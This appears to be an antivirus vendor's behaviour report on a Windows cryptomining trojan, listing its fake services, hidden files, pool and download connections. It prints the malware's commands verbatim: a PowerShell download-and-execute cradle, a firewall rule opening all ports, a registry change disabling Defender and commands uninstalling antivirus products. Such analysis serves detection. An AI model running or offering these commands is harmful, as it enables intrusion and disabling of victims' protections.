Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\Windows Updata] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\Windows Updata] 'ImagePath' = '%WINDIR%\debug\m\lsass.exe'
- [<HKLM>\System\CurrentControlSet\Services\Windows Management] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\Windows Management] 'ImagePath' = 'C:\PerfLogs\Admin\1sass.exe'
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\debug\m\WinRing0x64.sys'
Creates the following services
- 'Windows Updata' %WINDIR%\debug\m\lsass.exe
- 'Windows Management' C:\PerfLogs\Admin\1sass.exe
- 'WinRing0_1_2_0' %WINDIR%\debug\m\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="tcp all" dir=in protocol=tcp localport=0-65535 action=allow
Downloads
- http://k2####ds.ydns.eu/power.txt
Modifies file system
Creates the following files
- %WINDIR%\debug\m\config.json
- %WINDIR%\debug\m\server.reg
- %WINDIR%\debug\m\winring0x64.sys
- %WINDIR%\debug\m\server2.reg
- %WINDIR%\debug\m\n.vbs
- %WINDIR%\debug\m\c1.bat
- %WINDIR%\debug\m\csrss.exe
- %WINDIR%\debug\m\lsass.exe
- %WINDIR%\debug\m\winlogon.exe
- C:\perflogs\admin\1sass.exe
- C:\perflogs\admin\csrss.exe
Sets the 'hidden' attribute to the following files
- %WINDIR%\debug\m\config.json
- %WINDIR%\debug\m\lsass.exe
- %WINDIR%\debug\m\winlogon.exe
- C:\perflogs\admin\1sass.exe
- C:\perflogs\admin\csrss.exe
Deletes the following files
- %WINDIR%\debug\m\n.vbs
- %WINDIR%\debug\m\csrss.exe
- %WINDIR%\debug\m\server.reg
- %WINDIR%\debug\m\server2.reg
Network activity
Connects to
- 'po##.#upportxmr.com':443
- 'k2####ds.ydns.eu':80
TCP
HTTP GET requests
- http://k2####ds.ydns.eu/power.txt
Other
- 'po##.#upportxmr.com':443
UDP
- DNS ASK po##.#upportxmr.com
- DNS ASK k2####ds.ydns.eu
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\debug\m\n.vbs"
- '%WINDIR%\debug\m\lsass.exe' install "Windows Updata" winlogon.exe
- 'C:\perflogs\admin\1sass.exe' install "Windows Management" C:\PerfLogs\Admin\csrss.exe
- '%WINDIR%\debug\m\lsass.exe'
- 'C:\perflogs\admin\1sass.exe'
- '%WINDIR%\debug\m\winlogon.exe'
- 'C:\perflogs\admin\csrss.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\debug\m\c1.bat" "' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\debug\m\c1.bat" "
- '%WINDIR%\syswow64\regedit.exe' /s server.reg
- '%WINDIR%\syswow64\regedit.exe' /s server2.reg
- '%WINDIR%\syswow64\sc.exe' start "Windows Updata"
- '%WINDIR%\syswow64\sc.exe' start "Windows Management"
- '%WINDIR%\syswow64\attrib.exe' %WINDIR%\debug\m +h +a
- '%WINDIR%\syswow64\attrib.exe' %WINDIR%\debug\m\*.json +h +a +s +r
- '%WINDIR%\syswow64\attrib.exe' %WINDIR%\debug\m\*.exe +h +a +s +r
- '%WINDIR%\syswow64\attrib.exe' C:\PerfLogs\Admin\*.exe +h +a +s +r
- '<SYSTEM32>\cmd.exe' /c "powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2####ds.ydns.eu/power.txt')||powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://26####5...
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /d 1 /t REG_DWORD /f
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
- '<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
